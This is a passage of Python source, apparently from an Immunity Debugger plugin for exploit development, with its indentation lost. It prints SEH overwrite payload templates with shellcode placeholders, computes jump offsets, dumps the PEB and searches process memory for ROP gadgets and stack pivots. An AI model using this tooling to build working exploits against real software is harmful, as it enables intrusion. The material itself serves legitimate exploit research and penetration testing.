imm.log(" [+] Type of exploit : SEH (SE Handler is overwritten)")
nseh=int(g_offset)-4
imm.log(" Offset to next SEH : %d " % nseh)
imm.log(" Offset to SE Handler : %d " % g_offset)
imm.log(" [+] Payload suggestion (perl) :")
imm.log(' my $junk="\\x41" x %d; ' % nseh)
imm.log(' my $nseh="\\xeb\\x06\\x90\\x90";')
imm.log(' my $seh= XXXXXXXX; #pop pop ret - use !pvefindaddr p -n to find a suitable address')
imm.log(' my $nops="\\x90" x 24;')
imm.log(' my $shellcode="<your shellcode here>";')
imm.log(' my $payload = $junk.$nseh.$seh.$nops.$shellcode;')
imm.log(' [+] Read more about this type of exploit at ')
imm.log(' http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/')
if g_typeofsploit==3:
imm.log(" [+] Type of exploit : SEH Unicode (SE Handler is overwritten with Unicode pattern")
imm.log(" Offset to next SEH : %d " % g_offset)
imm.log(" [+] Payload suggestion (perl) :")
imm.log(' my $junk="\\x41" x %d; ' % g_offset)
imm.log(' my $nseh=\\x??\\x??; #find 2 instructions that, when converted to \\x??\\x00\\x??\\x00 will not do any harm')
imm.log(' my $seh= \\x??\\x??; #find pop pop ret (Unicode compatible). use !pvefindaddr p to find a suitable address')
imm.log(' my $padding = .... ; #write venetian code to point a register to the beginning of the shellcode')
imm.log(' my $jmp = "\\x50\\x6d\\xc3"; #write venetion code to jump to the register (example shown here = push eax + ret)')
imm.log(' my $shellcode="XXXXXXXXXXXX..."; #venetian shellcode')
imm.log(' my $payload=$junk.$nseh.$seh.$padding.$jmp.$shellcode;')
imm.log(' [+] Read more about this type of exploit at ')
imm.log(' http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/')
imm.log("---------------------------------------------------------------")
return "Done"
if args[0] == "update" or args[0]=="selfupdate":
updatetype = "release"
if (__VERSION__.find("dev") > -1):
updatetype= "trunk"
if len(args) > 1:
if args[1].lower() == "get":
getupdate(imm,updatetype)
else:
findupdate(imm)
else:
if args[0]=="update":
findupdate(imm)
if args[0]=="selfupdate":
getupdate(imm,updatetype)
return "Done checking for updates"
if args[0] == "compare":
if len(args) > 1:
filename="compare.txt"
resetfile(filename)
imm.log("---------------------------------------------")
imm.log(" Compare memory with bytes in file")
imm.log("---------------------------------------------")
imm.log(" Reading file %s (ascii)..." % args[1])
if os.path.isfile(args[1]):
try:
srcdata=[]
tagresults=[]
srcfile = open(args[1],"rb")
content = srcfile.readlines()
srcfile.close()
for eachLine in content:
srcdata += eachLine
imm.log(" Read %d bytes from file" % len(srcdata))
cnt=0
maxcnt=len(srcdata)
startat=""
if (maxcnt < 8):
Imm.log(" File contains less than 8 bytes !")
if len(args) == 3:
if (len(args[2]) == 10):
startat=args[2].replace("0x","")
startat=startat.replace("0X","")
else:
startat=args[2]
imm.log(" Compare will only look at address %s " % startat)
else:
imm.log(" Starting search in memory")
linecount=0
while (cnt < maxcnt):
try:
#group per 8 bytes to get first line with 8 bytes (tag to search for)
btcnt=0
hexstr=""
while ((btcnt < 8) and (cnt < maxcnt)):
if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).replace('0x', '\\x0')
else:
hexchar = hex(ord(srcdata[cnt])).replace('0x', '\\x')
hexstr += hexchar
btcnt=btcnt+1
cnt=cnt+1
linecount=linecount+1
if ((linecount == 1) and (startat == "")):
imm.log(" -> searching for "+hexstr)
toSearch = hexstr.replace(" ",'\\x').decode('string_escape')
toSearch = toSearch.decode('string_escape')
tagresults=imm.search( toSearch )
if (len(tagresults) == 0):
imm.log(" Could not find code in memory !")
return
except:
cnt=cnt+1
pass
imm.log(" Comparing bytes from file with memory :")
comparetable=imm.createTable('pvefindaddr Memory comparison results',['Address','Status','Type'])
for tres in tagresults:
memcompare(imm,tohex(tres),srcdata,comparetable,"ascii")
if (startat <> ""):
memcompare(imm,startat,srcdata,comparetable,"ascii")
except:
imm.log(" ** Unable to read file **")
imm.log("")
imm.log("")
imm.log(" Reading file %s (expanding to unicode)..." % args[1])
try:
srcdata=[]
tagresults=[]
srcfile = open(args[1],"rb")
content = srcfile.readlines()
srcfile.close()
for eachLine in content:
srcdata += eachLine
imm.log(" Read %d bytes from file" % len(srcdata))
imm.log(" Expanding to unicode")
unisrcdata=[]
nullbyte="0"
for eachByte in srcdata:
eachByte+=struct.pack('B', 0)
unisrcdata+=eachByte
srcdata=unisrcdata
cnt=0
maxcnt=len(srcdata)
imm.log(" Unicode expanded to %d bytes" % maxcnt)
startat=""
if (maxcnt < 16):
Imm.log(" File contains less than 16 bytes !")
if len(args) == 3:
if (len(args[2]) == 10):
startat=args[2].replace("0x","")
startat=startat.replace("0X","")
else:
startat=args[2]
imm.log(" Compare will only look at address %s " % startat)
else:
imm.log(" Starting search in memory")
linecount=0
while (cnt < maxcnt):
try:
#group per 16 bytes to get first line with 16 bytes (tag to search for)
btcnt=0
hexstr=""
while ((btcnt < 16) and (cnt < maxcnt)):
if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).replace('0x', '\\x0')
else:
hexchar = hex(ord(srcdata[cnt])).replace('0x', '\\x')
hexstr += hexchar
btcnt=btcnt+1
cnt=cnt+1
linecount=linecount+1
if ((linecount == 1) and (startat == "")):
imm.log(" -> searching for "+hexstr)
toSearch = hexstr.replace(" ",'\\x').decode('string_escape')
toSearch = toSearch.decode('string_escape')
tagresults=imm.search( toSearch )
if (len(tagresults) == 0):
imm.log(" Could not find code in memory !")
return
except:
cnt=cnt+1
pass
imm.log(" Comparing bytes from file with memory :")
for tres in tagresults:
memcompare(imm,tohex(tres),srcdata,comparetable,"unicode")
if (startat <> ""):
memcompare(imm,startat,srcdata,comparetable,"unicode")
except:
imm.log(" ** Unable to read file **")
else:
imm.log(" ************************** ",highlight=1)
imm.log(" ** File does not exist !** ",highlight=1)
imm.log(" ************************** ",highlight=1)
if args[0] == "peb":
#find peb
#structure http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html
imm.log("")
PEB = imm.getPEBaddress()
if PEB == 0:
imm.log("No PEB")
else:
imm.log("PEB at 0x%08x" % PEB,address=PEB)
ias = tocontent(imm.readMemory(PEB+0x0,1))
if (ias == "00"):
iasstr="No"
else:
iasstr="Yes"
imm.log(" InheritedAddressSpace: %s" % iasstr)
rifeo = tocontent(imm.readMemory(PEB+0x1,1))
if (rifeo == "00"):
rifeostr="No"
else:
rifeostr="Yes"
imm.log(" ReadImageFileExecOptions: %s " % rifeostr)
bd = tocontent(imm.readMemory(PEB+0x2,1))
if (bd == "00"):
bdstr ="No"
else:
bdstr ="Yes"
imm.log(" BeingDebugged: %s" % bdstr)
spare = tocontent(imm.readMemory(PEB+0x3,1))
if (spare == "00"):
sparestr ="No"
else:
sparestr ="Yes"
imm.log(" Spare: %s" % sparestr)
hmutant = tocontent(imm.readMemory(PEB+0x4,4))
imm.log(" Handle: %s" % (hmutant))
ba = tocontent(imm.readMemory(PEB+0x8,4))
imm.log(" ImageBaseAddress: %s" % (ba))
ldr = tocontent(imm.readMemory(PEB+0xc,4))
imm.log(" Ldr: %s" % ldr)
#imm.log(" Ldr.Initialized:")
#imm.log(" Ldr.InInitializationOrderModuleList: ")
#imm.log(" Ldr.InLoadOrderModuleList:")
#imm.log(" Ldr.InMemoryOrderModuleList:")
#modules
allmodules=imm.getAllModules()
imm.log(" Base Size Module")
for key in allmodules.keys():
mod=imm.getModule(key)
mzbase=mod.getBaseAddress()
imm.log(" 0x%08x %d %s" % (mzbase,mod.getSize(),mod.getPath()))
ssd = tocontent(imm.readMemory(PEB+0x14,4))
imm.log(" SubSystemData: %s" % ssd)
ph = tocontent(imm.readMemory(PEB+0x18,4))
imm.log(" ProcessHeap: %s" % ph)
pp = tocontent(imm.readMemory(PEB+0x10,4))
imm.log(" ProcessParameters: %s" % pp)
imm.log("")
if (args[0] == "assemble"):
imm.log("Opcode results : ")
imm.log("---------------- ")
cnt=1
cmdInput=""
allopcode=""
encodecmd=""
encodebad=""
curpos=0
while (cnt < len(args)):
if (args[cnt].lower() == "encode"):
curpos=cnt
cnt=len(args)
else:
cmdInput=cmdInput+args[cnt]+" "
cnt=cnt+1
if curpos > 0:
if curpos==len(args)-1:
encodecmd="ascii"
if curpos==len(args)-2:
encodecmd=args[curpos+1]
if curpos==len(args)-3:
encodecmd=args[curpos+1]
encodebad=args[curpos+2]
cmdInput=cmdInput.replace("'","")
cmdInput=cmdInput.replace('"','')
splitter=re.compile('#')
instructions=splitter.split(cmdInput)
for instruct in instructions:
try:
assembled=imm.assemble( instruct )
strAssembled=""
for assemOpc in assembled:
if (len(hex(ord(assemOpc)))) == 3:
subAssembled = "\\x0"+hex(ord(assemOpc)).replace('0x','')
strAssembled = strAssembled+subAssembled
else:
strAssembled = strAssembled+hex(ord(assemOpc)).replace('0x', '\\x')
if len(strAssembled) < 30:
imm.log(" %s = %s" % (instruct,strAssembled))
allopcode=allopcode+strAssembled
else:
imm.log(" %s => Unable to assemble this instruction !" % instruct,highlight=1)
except:
imm.log(" Could not assemble %s " % instruct)
pass
imm.log(" Full opcode : %s " % allopcode)
if (encodecmd != ""):
imm.log(" Invoking encoder...")
imm.log("")
encodeargs=[]
encodeargs.append("doencode")
encodeargs.append(encodecmd)
encodeargs.append(allopcode.replace('\\x',''))
encodeargs.append(encodebad)
doencode(encodeargs)
if args[0] == "offset":
endaddr=[]
if len(args) == 3:
regs = imm.getRegs()
startaddr=args[1]
startreg=""
startregname=""
endaddr.append(args[2])
endreg=""
regaction=""
if (len(startaddr)==3):
#perhaps this is a register
#get the value of the register
for reg in regs:
if reg.upper() == startaddr.upper():
startaddr=tohex(regs[reg])
startreg=" ("+reg+")"
startregname=reg
if (len(endaddr[0])==3):
#perhaps this is a register
#get the value of the register
for reg in regs:
if reg.upper() == endaddr[0].upper():
endaddr[0]=tohex(regs[reg])
endreg=" ("+reg+")"
if (len(endaddr[0])==16):
#search pattern
strb=binascii.a2b_hex(endaddr[0])
opcodej=[strb]
imm.log(" - Trying to locate custom search pattern, please wait...")
imm.updateLog()
for opjc in opcodej:
addys=imm.search( opjc )
results += addys
nrres=0
if results:
nrres=len(results)
imm.log(" - Number of locations found : %d" % nrres)
del endaddr[0]
for res in results:
endaddr.append(tohex(res))
try:
for endad in endaddr:
imm.log("[+] Calculating offset between %s%s and %s%s" % (startaddr,startreg,endad,endreg))
val1=addresstoint(startaddr)
val2=addresstoint(endad)
diff=0
if val1 > val2:
diff=val1-val2
else:
diff=val2-val1
result=tohex(diff)
imm.log(" -> Offset : %d bytes (0x%s)" % (diff,result))
if val1 > val2:
imm.log(" Warning : negative offset, so backward jump needed!")
negjmp=tohex(4294967296-diff) #=(FFFFFFFF+1) - value
negjmpbytes="\\x"+ negjmp[6]+negjmp[7]+"\\x"+negjmp[4]+negjmp[5]+"\\x"+negjmp[2]+negjmp[3]+"\\x"+negjmp[0]+negjmp[1]
imm.log(" Jump offset : %s" % negjmpbytes)
regaction="sub"
else:
if result[0]=="0" and result[1]=="0" and result[2]=="0" and result[3]=="0" and result[4]=="0" and result[5]=="0":
posjmpbytes="\\x"+result[6]+result[7]
else:
posjmpbytes="\\x"+ result[6]+result[7]+"\\x"+result[4]+result[5]+"\\x"+result[2]+result[3]+"\\x"+result[0]+result[1]
imm.log(" Jump offset : %s" % posjmpbytes)
regaction="add"
strTotalOpcode=""
if startregname != "":
strAsm=regaction+" "+startregname+","+result
strToAsm=[]
strToAsm.append(strAsm)
strToAsm.append("jmp " + startregname)
for strAsmThis in strToAsm:
assembled=imm.Assemble( strAsmThis )
strAssembled=""
for assemOpc in assembled:
if (len(hex(ord(assemOpc)))) == 3:
subAssembled = "\\x0"+hex(ord(assemOpc)).replace('0x','')
strAssembled = strAssembled+subAssembled
else:
strAssembled = strAssembled+hex(ord(assemOpc)).replace('0x', '\\x')
imm.log(" Assembly : %s, Opcode : %s" % (strAsmThis.lower(),strAssembled))
strTotalOpcode=strTotalOpcode+strAssembled
imm.log(" Full opcode : " + strTotalOpcode)
imm.log("")
except:
imm.log(" !! Unable to calculate offset. Verify input and try again")
if (args[0] == "encode"):
doencode(args)
if (args[0] == "info"):
addr=""
addrname=""
if len(args) > 1:
if (len(args[1]) == 10):
addr=args[1].replace("0x","")
addr=addr.replace("0X","")
else:
#check if it is a register
regs = imm.getRegs()
for reg in regs:
if reg.upper() == args[1].upper():
addr=tohex(regs[reg])
addrname=" ("+reg+")"
if addr=="":
addr=args[1]
imm.log("Information about address %s%s : " % (addr,addrname))
imm.log(addressinfo(addresstoint(addr)))
imm.log(addressspec(addr))
try:
op = imm.Disasm( addresstoint(addr) )
opstring=op.getDisasm()
imm.log("Instruction at %s : %s" % (addr,opstring))
except:
pass
else:
imm.log("You forgot to specify an address or register")
if(args[0] == "find"):
dofind(imm,args,modulefilter)
if(args[0] == "fd"):
filename="fd.txt"
resetfile(filename)
writemodinfo(filename)
startaddr=1
found=0
allownull=0
doread=1
if len(args)==2:
if args[1].lower()=="allownull":
allownull=1
imm.log("Started looking for addresses, please wait...")
imm.updateLog()
maxval=2147483645
while ((startaddr < maxval) and (found < 10)):
daddr=startaddr*2
try:
if (allownull==0):
starta=tohex(startaddr)
dstarta=tohex(daddr)
doread=1
if ((starta[0]=="0" and starta[1]=="0") or (starta[2]=="0" and starta[3]=="0") or (starta[4]=="0" and starta[5]=="0") or (starta[6]=="0" and starta[7]=="0")):
doread=0
if ((dstarta[0]=="0" and dstarta[1]=="0") or (dstarta[2]=="0" and dstarta[3]=="0") or (dstarta[4]=="0" and dstarta[5]=="0") or (dstarta[6]=="0" and dstarta[7]=="0")):
doread=0
else:
doread=1
if doread==1:
imm.updateLog()
startval=imm.readMemory(startaddr,4)
dval=imm.readMemory(daddr,4)
if (startval <> "") and (dval <> ""):
extrastring1=addressinfo(startval)
extrastring2=addressinfo(dval)
imm.log(" Addresses found :")
imm.log(" Address : 0x%08x %s" % (startaddr,extrastring1))
imm.log(" Double of address : 0x%08x %s" % (daddr,extrastring2))
tofile("Found 2 possible addresses :",filename)
tofile(" - " + tohex(startaddr)+" "+extrastring,filename)
tofile(" - " + tohex(daddr)+" "+extrastring,filename)
imm.log("")
imm.updateLog()
found=found+1
startaddr=startaddr+1
nextaddr=tohex(startaddr)
if nextaddr[4]=="0" and nextaddr[5]=="0" and nextaddr[6]=="0" and nextaddr[7]=="0":
imm.log("Progress update - reached address %s ..." % nextaddr)
imm.updateLog()
except:
imm.updateLog()
startaddr=startaddr+1
nextaddr=tohex(startaddr)
if nextaddr[4]=="0" and nextaddr[5]=="0" and nextaddr[6]=="0" and nextaddr[7]=="0":
imm.log("Progress update - reached address %s ..." % nextaddr)
imm.updateLog()
pass
if found==0:
imm.log("Sorry, no usable addresses found")
else:
imm.log("%d addresses found" % found)
return "Search complete, %d pointers found" % found
if(args[0] == "rop"):
filename="rop.txt"
stackpivotfile="rop_stackpivot.txt"
progressid=tohex(imm.getDebuggedPid())
progressfile="_rop_progress_"+imm.getDebuggedName()+"_"+progressid+".log"
imm.log("-----------------------")
imm.log(" ROP Gadget generation")
imm.log("-----------------------")
imm.log("[+] ROP progress will be written to %s" % progressfile)
imm.updateLog()
resetfile(progressfile)
resetfile(stackpivotfile)
tofile("-------------------------------------------",stackpivotfile)
tofile("Possibly interesting stack pivot pointers :",stackpivotfile)
tofile("-------------------------------------------",stackpivotfile)
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p")
tofile("ROP Gadget generation process started at " + thistimestamp+"\n",progressfile)
if len(g_modules)==0:
moduleinfo()
instrfilter=" "
opcodej=[]
mbase=0
maxretval=32
mutations=0
goodgadgets=0
dosplit=0
dodeep=0
ignorefixup=0
customendwith=""
argstr=""
cnt=1
while cnt < len(args):
if args[cnt]=='-f':
if cnt < (len(args)-1):
instrfilter=args[cnt+1]
if args[cnt]=='-r':
if cnt < (len(args)-1):
maxretval=int(args[cnt+1])
if args[cnt]=='-s': dosplit=1
if args[cnt]=='-d': dodeep=1
if args[cnt]=='-i': ignorefixup=1
if args[cnt]=='-c':
cnt2=cnt
while cnt2 < (len(args)-1):
if args[cnt2+1][:1] <> "-":
customendwith=customendwith+" "+args[cnt2+1].upper()
cnt2=cnt2+1
cnt=cnt+1
customendwith=customendwith.strip()
cinstrparts=customendwith.split('#')
if customendwith <> "":
imm.log("[+] You have specified %d custom gadget end instruction(s) : %s" % (len(cinstrparts),customendwith))
if modulefilter <> "":
if dosplit==1:
imm.log("[+] You have specified a module filter and enabled 'split' (-s)")
imm.log(" Split functionality won't make a difference, so option has been removed again")
dosplit=0
if (noos==1):
imm.log("[+] Module filter and option to exclude OS dll's set. If module is an OS dll, it will not be excluded")
imm.log("[+] Finding module that starts with %s" % modulefilter)
for mname in g_modules:
mnamentry=mname.split('\t')
if mnamentry[0].lower().startswith(modulefilter.lower()):
mfound=1
modulefilter=mnamentry[0].lower()
mbase=int(mnamentry[2])
mtop=int(mnamentry[4])
isaslr=int(mnamentry[6])
isfixup=int(mnamentry[8])
modversion=mnamentry[9]
filename=getropfilename(modulefilter)
if customendwith == "":
opcodej.append("RET\n")
else:
inscnt=0
while inscnt < len(cinstrparts):
opcodej.append(cinstrparts[inscnt].strip().upper())
inscnt=inscnt+1
if dosplit==0:
resetfile(filename)
writemodinfo(filename)
imm.log("[+] Preparing log file %s" % filename)
tofile("-" * 80,filename)
tofile(" ROP gadgets - Relatively safe/basic instructions ",filename)
tofile("-" * 80,filename)
tofile("",filename)
else:
#create individual files
for mname in g_modules:
mnamentry=mname.split('\t')
modname=mnamentry[0]
if modname.upper().find(modulefilter.upper()) >= 0:
if (noos==0) or (noos==1 and isosmodule(modname)==0):
thisfilename=getropfilename(modname)
imm.log("[+] Preparing log file %s" % thisfilename)
tofile("Preparing log file " + thisfilename,progressfile)
imm.updateLog()
resetfile(thisfilename)
writemodinfo(thisfilename)
tofile("-" * 80,thisfilename)
tofile(" ROP gadgets - Relatively safe/basic instructions ",thisfilename)
tofile("-" * 80,thisfilename)
tofile("",thisfilename)
c1=2
imm.updateLog()
if customendwith=="":
while c1 <= maxretval:
opcodej.append("RET " + tohexbyte(c1)+"\n")
c1=c1+2
aslrfilt="ASLR: ** NO"
fixupfilt="FIXUP: ** NO"
isfixup=0
imm.updateLog()
isaslr=0
mfound=0
modversion=""
if (dodeep==1):
imm.log("[+] Deep search enabled. Possibly interesting gadgets will be written to %s" % filename)
if (noos==1):
imm.log("[+] Dll's residing in the Windows folder will be excluded.")
if (dosplit==0):
tofile(" [+] Excluding dll's from Windows folder",filename)
if (ignorefixup==1):
tofile(" [+] Excluding pointers from modules that have fixup flag set",filename)
imm.log("[+] Excluding pointers from modules that have fixup flag set")
if modulefilter <> "" and mbase > 0:
imm.log("[+] Module filter set to '%s', at baseaddress 0x%s" % (modulefilter,tohex(mbase)))
tofile(" [+] Module filter set to '" + modulefilter+"' "+modversion,filename)
aslrfilt=" "
fixupfilt=" "
if isaslr==1:
imm.log(" ! Module is aslr aware - you'd better start looking for memory leaks now :-)")
imm.log(" For your convenience, output will contain offset to base")
else:
imm.log(" Module is not aslr aware")
else:
imm.log("[+] No module filter set ")
imm.updateLog()
tofile("",filename)
if modulefilter <> "" and mbase==0:
imm.log(" [-] Warning : modulefilter set, but no matching module found !")
instrfilter=instrfilter.upper().lstrip().rstrip().replace('"','')
if instrfilter.replace(" ","") <> "":
imm.log("[+] Instruction filter set to '%s' " % instrfilter)
if dosplit==0:
tofile(" [+] Instruction filter set to '" + instrfilter+"'",filename)
if dosplit==1:
imm.log("[+] Output will be written to individual files (one file per module)")
else:
imm.log("[+] Output will be written to %s" % filename)
imm.log("Searching for possible ROP gadgets...please wait")
imm.updateLog()
imm.updateLog()
nrchains=0
nrgood=0
addys=[]
stackpivots=[]
pivottable=imm.createTable('pvefindaddr ROP Stack Pivot',['Address','Offset/Register','Instruction','Module','Info'])
cinstructs0=""
cinstructs=""
cinstructs2=""
opnr=len(opcodej)
thisnr=1
offsetcnt=0
#get all search results
imm.log(" - Searching memory for gadgets, please wait...")
tofile("\nStarted generating rop gadgets",progressfile)
scnt=1
for searchcmd in opcodej:
imm.log(" Search sequence %d / %d (%s)" % (scnt,opnr,searchcmd.strip()))
tofile(" - Search sequence " + str(scnt)+"/"+str(opnr),progressfile)
addys += imm.searchCommands(searchcmd.strip())
scnt=scnt+1
imm.updateLog()
imm.log(" - Total number of pointers found in memory: %d " % len(addys))
tofile("Total number of pointers found in memory : " + str(len(addys)),progressfile)
imm.log(" - Filtering, verifying and mutating gadgets,please wait...")
tofile("\nFiltering and mutating gadgets, this can take a long time.",progressfile)
tofile("(Periodic updates will be written to this file... stay tuned !)",progressfile)
imm.updateLog()
adcnt=0
tc=1
totaladdys=len(addys)
for ad1 in addys:
adcnt=adcnt+1
if adcnt > (tc*1000):
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p")
tofile(" - Progress update : " + str(tc*1000) + " pointers processed (" + thistimestamp + ")",progressfile)
tc=tc+1
ad1=ad1[0]
imm.updateLog()
smodule=0
#what module does this pointer belong to, and does it need to be examined ?
thismodname=getmodnamefromptr(ad1)
if thismodname <> "":
isaslr=int(getmoduleprop(thismodname,"aslr"))
isfixup=int(getmoduleprop(thismodname,"fixup"))
mbase=int(getmoduleprop(thismodname,"base"))
mtop=int(getmoduleprop(thismodname,"top"))
#filtering modules ?
if (modulefilter <> ""):
if (modulefilter.upper()==thismodname.upper()):
smodule=1
else:
smodule=0
else:
#no module filter
smodule=1
if (noos==1):
if(isosmodule(thismodname)==1):
smodule=0
if (isaslr==1):
smodule=0
if (ignorefixup==1) and (isfixup==1):
smodule=0
if smodule==1:
imm.updateLog()
foundarr=[]
cinstr=0
#info=addressinfo(ad1)
#infovars=info.split(']')
#mname=infovars[0].replace("[","")
mname=getmodnamefromptr(ad1)
#get current instruction
op0 = imm.Disasm( ad1 )
opstring0=op0.getDisasm()
modstr="[Module : "+mname+"]"
instrnr=1
stopthisrop=0
datastr=""
allstring=""
backmax=1
tofindstr="RET"
gadgetcontains=0
if customendwith == "" and opstring0.upper().find(tofindstr) > -1:
gadgetcontains=1
if customendwith <> "":
cinstrcnt=0
while cinstrcnt < len(opcodej):
if opstring0.upper().find(opcodej[cinstrcnt].upper()) > -1:
gadgetcontains=1
cinstrcnt=cinstrcnt+1
if gadgetcontains==1:
#jump back up to 8 instructions
#then shift one byte at a time
#and skip the chains that do not end with RET/custom end instruction
#or contain invalid instructions
while backmax < 8:
try:
opstart=imm.DisasmBackward(ad1,backmax)
opadstart=opstart.getAddress()
#get number of bytes between ad1 and current address
maxbytes=ad1-opadstart
mutations=mutations+1
#max bytes to walk = maxbytes-2
#max instructions to read forward : 8
bytecnt=0
while bytecnt < maxbytes:
#
startad=opadstart+bytecnt
thisinstrline=""
icnt=0
stopthisrop=0
retfound=0
nrpush=0
nrpop=0
basicops=0
basicinstr=["POP","PUSH","MOV ","INC ","DEC ","RET","XOR ","ADD ","SUB ","ADC ","SBB ","NOP","CMP ","XCHG","LEA ","MOV DWORD PTR SS:\[E","MOV DWORD PTR DS:\[E","CALL EAX","CALL EBX","CALL ECX","CALL EDX","CALL EBP","CALL ESI","CALL EDI","CALL ESP"]
basicexcl=["ADD BYTE","SUB DWORD PTR","PUSH DWORD PTR","JMP",".","IRETD","RETF"]
mustreachexcl=0
while icnt < 8 and stopthisrop==0 and retfound==0:
try:
op=imm.DisasmForward(startad,icnt)
opstring=op.getDisasm()
thisinstrline=thisinstrline+" # " + opstring
gadgetcontains=0
if customendwith == "" and opstring.upper().find(tofindstr) > -1:
gadgetcontains=1
if customendwith <> "":
cinstrcnt=0
while cinstrcnt < len(opcodej):
if opstring.upper().find(opcodej[cinstrcnt].upper()) > -1:
gadgetcontains=1
cinstrcnt=cinstrcnt+1
if gadgetcontains==1:
retfound=1
if opstring.upper().find("???") > -1:
stopthisrop=1
if opstring.upper().find("PUSH ") > -1:
nrpush=nrpush+1
if opstring.upper().find("PUSHAD") > -1:
nrpush=nrpush+1
if opstring.upper().find("POP ") > -1:
nrpop=nrpop+1
if opstring.upper().find("POPAD") > -1:
nrpop=nrpop+1
for binstr in basicinstr:
if opstring.upper().find(binstr.upper()) > -1:
mustreachexcl=0
for bexcl in basicexcl:
if opstring.upper().find(bexcl.upper()) == -1:
mustreachexcl=mustreachexcl+1
if mustreachexcl==len(basicexcl):
basicops=basicops+1
except:
stopthisrop=1
icnt=icnt+1
#is this a good series of instructions ?
if retfound==1:
if isaslr==1 and mbase > -1:
#get offset to base as well
thisbaseaddr=mbase
thoffset=startad-mbase
datastr="0x"+tohex(startad)+" (base+0x" +tohex(thoffset)+") : "
else:
datastr="0x"+tohex(startad)+" : "
#determine type of instructions
cinstr=3
#first filter out the ones we're not interested in
if thisinstrline.upper().find("INT3") == -1:
if thisinstrline.upper().find("LEAVE") > -1 or thisinstrline.upper().find("CALL") > -1 or thisinstrline.upper().find("JMP") > -1 or thisinstrline.upper().find("JE") > -1 or thisinstrline.upper().find("JNE") > -1 or thisinstrline.upper().find("JZ") > -1 or thisinstrline.upper().find("JNZ") > -1 or thisinstrline.upper().find("JB") > -1 or thisinstrline.upper().find("JNB") > -1 or thisinstrline.upper().find("JL") > -1 or thisinstrline.upper().find("JP") > -1 or thisinstrline.upper().find("JNL") > -1 or thisinstrline.upper().find("JG") > -1 or thisinstrline.upper().find("JO") > -1 or thisinstrline.upper().find("JA") > -1:
cinstr=1
#if it's a call to interesting function, then log in separate list
if thisinstrline.upper().find("KERNEL32") > -1 or thisinstrline.upper().find("NTDLL") > -1 or thisinstrline.upper().find("MSVCR") > -1 or thisinstrline.upper().find("USER32") > -1 or thisinstrline.upper().find("ADVAPI32") > -1 or thisinstrline.upper().find("SHELL32") > -1 or thisinstrline.upper().find("WININET") > -1 or thisinstrline.upper().find("IERTUTIL") > -1 or thisinstrline.upper().find("WSOCK") > -1 :
cinstr=2
#if we specified a custom end and custom end contains a CALL or LEAVE, then allow it
if customendwith.upper().find("CALL") > -1 or customendwith.upper.find("LEAVE") > -1:
cinstr=0
if basicops == thisinstrline.count('#'):
cinstr=0
if thisinstrline.count('#') == 1:
cintr=-1 #don't log, is just a RET
else:
if nonull==1:
if ((addressspec(tohex(startad)).find("Null byte") > -1) or (addressspec(tohex(startad)).find("Unicode") > -1)):
#nonull filter, but address contains null byte
#don't log
cinstr=-2
#do we have match with instruction filter ?
if thisinstrline.upper().find(instrfilter.upper()) > -1:
#log if not logged already
procadbefore=-1
try:
procadbefore=foundarr.index(startad)
except:
pass
if procadbefore==-1:
marker=""
if nrpush > 1:
marker=" {PUSH} "
if nrpop > 1:
marker=marker+" {POP} "
if cinstr==0:
#write to file
if dosplit==0 and modulefilter=="":
tofile(datastr+marker+thisinstrline+" \t" + modstr+" "+addressspec(tohex(startad)),filename)
else:
thisfilename=getropfilename(mname)
tofile(datastr+marker+thisinstrline+" \t" + modstr+" "+addressspec(tohex(startad)),thisfilename)
nrgood=nrgood+1
if cinstr==1:
#write to array
cinstructs+=datastr+marker+thisinstrline+" \t" + modstr+" "+addressspec(tohex(startad))+"\n"
nrgood=nrgood+1
if cinstr==2:
#write to array, with function name
funcparts=thisinstrline.split('&')
funccall=""
if len(funcparts) > 1:
funcstub=funcparts[1].split('.')
if len(funcstub) > 1:
funcname=funcstub[1].split('>')
funccall=funcname[0]+" : "
cinstructs2+=datastr+marker+funccall+"[*] "+thisinstrline+" \t" + modstr+" "+addressspec(tohex(startad))+"\n"
nrgood=nrgood+1
if cinstr==3:
#write to array
cinstructs0+=datastr+marker+thisinstrline+" \t" + modstr+" "+addressspec(tohex(startad))+"\n"
nrgood=nrgood+1
#Stack pivot, add to pivot list
if (cinstr > -1) and ( (thisinstrline.upper().find("ADD ESP,") == 3) or ((thisinstrline.upper().find("LEA ESP,") == 3)) or ((thisinstrline.upper().find("XCHG ESP,") == 3)) or ((thisinstrline.upper().find("XCHG EAX,ESP") == 3)) or ((thisinstrline.upper().find("XCHG EBX,ESP") == 3)) or ((thisinstrline.upper().find("XCHG ECX,ESP") == 3)) or ((thisinstrline.upper().find("XCHG EDX,ESP") == 3)) or ((thisinstrline.upper().find("XCHG EBP,ESP") == 3)) or ((thisinstrline.upper().find("XCHG EDI,ESP") == 3)) or ((thisinstrline.upper().find("XCHG ESI,ESP") == 3)) or ((thisinstrline.upper().find("MOV ESP,[EBP") == 3))):
if (thisinstrline.upper().find("CALL") == -1) and (thisinstrline.upper().find("JMP") == -1):
#what is the offset or register ?
stackpivotfields=thisinstrline.upper().split(',')
if len(stackpivotfields) > 1:
stackpivotoffset=stackpivotfields[1].split('#')
#offset is now in stackpivotoffset[0]. Add to array and to table, unless it's instr reg,ESP
soffset=stackpivotoffset[0]
if soffset.strip()=="ESP":
soffsetparts=stackpivotfields[0].split(' ')
soffset=soffsetparts[len(soffsetparts)-1]
ainfo=addressspec(tohex(startad))
pivottable.add(0,["%s"%(tohex(startad)),"%s"%(soffset),"%s"%(thisinstrline),"%s"%(mname),"%s"%(ainfo)])
tofile("0x" + tohex(startad)+" : " + soffset + " : \t" + thisinstrline + " - " + mname + " - " + ainfo,stackpivotfile)
#add address to "found" array
foundarr.append(startad)
goodgadgets=goodgadgets+1
bytecnt=bytecnt+1
except:
pass
backmax=backmax+1
imm.updateLog()
tofile("Finished filtering & mutation process",progressfile)
imm.log(" Number of gadgets & attempted mutations : %d" % (mutations))
if goodgadgets > 0:
imm.log(" Number of good gadgets (before filtering on null bytes, if required): %d" % (goodgadgets),highlight=1)
else:
